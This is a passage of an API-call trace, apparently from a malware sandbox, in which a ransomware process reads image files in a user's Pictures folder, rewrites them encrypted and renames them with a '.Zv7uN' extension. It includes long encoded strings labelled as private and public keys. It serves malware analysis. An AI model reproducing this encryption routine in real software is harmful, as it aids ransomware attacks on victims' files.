ftLastAccessTime.dwLowDateTime=0x816d96d0, ftLastAccessTime.dwHighDateTime=0x1d5dbc9, ftLastWriteTime.dwLowDateTime=0x816d96d0, ftLastWriteTime.dwHighDateTime=0x1d5dbc9, nFileSizeHigh=0x0, nFileSizeLow=0x1670d)) returned 1 [0085.296] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\SKcUK\\6lsyG9.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\skcuk\\6lsyg9.jpg")) returned 0x20 [0085.296] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\SKcUK\\6lsyG9.jpg", dwFileAttributes=0x80) returned 1 [0085.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f4e80c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0085.299] GetCurrentThreadId () returned 0xa30 [0085.299] GetCurrentThreadId () returned 0xa30 [0085.299] GetCurrentThreadId () returned 0xa30 [0085.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f5f86c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.300] GetCurrentThreadId () returned 0xa30 [0085.300] GetCurrentThreadId () returned 0xa30 [0085.300] GetCurrentThreadId () returned 0xa30 [0085.300] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\SKcUK\\6lsyG9.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\skcuk\\6lsyg9.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0085.301] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee30*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ee30*=0) returned 0x0 [0085.301] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x0 [0085.301] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x1670d [0085.301] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x0 [0085.301] ReadFile (in: hFile=0x104, lpBuffer=0x1f67670, nNumberOfBytesToRead=0x1670d, lpNumberOfBytesRead=0x18ee3c, lpOverlapped=0x0 | out: lpBuffer=0x1f67670*, lpNumberOfBytesRead=0x18ee3c*=0x1670d, lpOverlapped=0x0) returned 1 [0085.304] CloseHandle (hObject=0x104) returned 1 [0085.309] VirtualAlloc (lpAddress=0x0, dwSize=0x13fff0, flAllocationType=0x1000, flProtect=0x4) returned 0x2b30000 [0085.314] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\SKcUK\\6lsyG9.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\skcuk\\6lsyg9.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0085.318] WriteFile (in: hFile=0x104, lpBuffer=0x1f7f6a0*, nNumberOfBytesToWrite=0x1670d, lpNumberOfBytesWritten=0x18ee48, lpOverlapped=0x0 | out: lpBuffer=0x1f7f6a0*, lpNumberOfBytesWritten=0x18ee48*=0x1670d, lpOverlapped=0x0) returned 1 [0085.324] CloseHandle (hObject=0x104) returned 1 [0085.326] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\SKcUK\\6lsyG9.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\skcuk\\6lsyg9.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\SKcUK\\6lsyG9.jpg.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\skcuk\\6lsyg9.jpg.zv7un")) returned 1 [0085.327] GetCurrentThreadId () returned 0xa30 [0085.327] GetCurrentThreadId () returned 0xa30 [0085.327] GetCurrentThreadId () returned 0xa30 [0085.327] GetCurrentThreadId () returned 0xa30 [0085.328] GetCurrentThreadId () returned 0xa30 [0085.328] GetCurrentThreadId () returned 0xa30 [0085.328] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf000a920, ftCreationTime.dwHighDateTime=0x1d5d994, ftLastAccessTime.dwLowDateTime=0xc993e280, ftLastAccessTime.dwHighDateTime=0x1d5ddbc, ftLastWriteTime.dwLowDateTime=0xc993e280, ftLastWriteTime.dwHighDateTime=0x1d5ddbc, nFileSizeHigh=0x0, nFileSizeLow=0x7b4b, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="nASdIGvuK.bmp", cAlternateFileName="NASDIG~1.BMP")) returned 1 [0085.328] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eee8 | out: lpLocalFileTime=0x18eee8) returned 1 [0085.328] FileTimeToDosDateTime (in: lpFileTime=0x18eee8, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0085.328] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\SKcUK\\nASdIGvuK.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\skcuk\\nasdigvuk.bmp"), fInfoLevelId=0x0, lpFileInformation=0x18ee7c | out: lpFileInformation=0x18ee7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf000a920, ftCreationTime.dwHighDateTime=0x1d5d994, ftLastAccessTime.dwLowDateTime=0xc993e280, ftLastAccessTime.dwHighDateTime=0x1d5ddbc, ftLastWriteTime.dwLowDateTime=0xc993e280, ftLastWriteTime.dwHighDateTime=0x1d5ddbc, nFileSizeHigh=0x0, nFileSizeLow=0x7b4b)) returned 1 [0085.328] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\SKcUK\\nASdIGvuK.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\skcuk\\nasdigvuk.bmp")) returned 0x20 [0085.328] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\SKcUK\\nASdIGvuK.bmp", dwFileAttributes=0x80) returned 1 [0085.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsO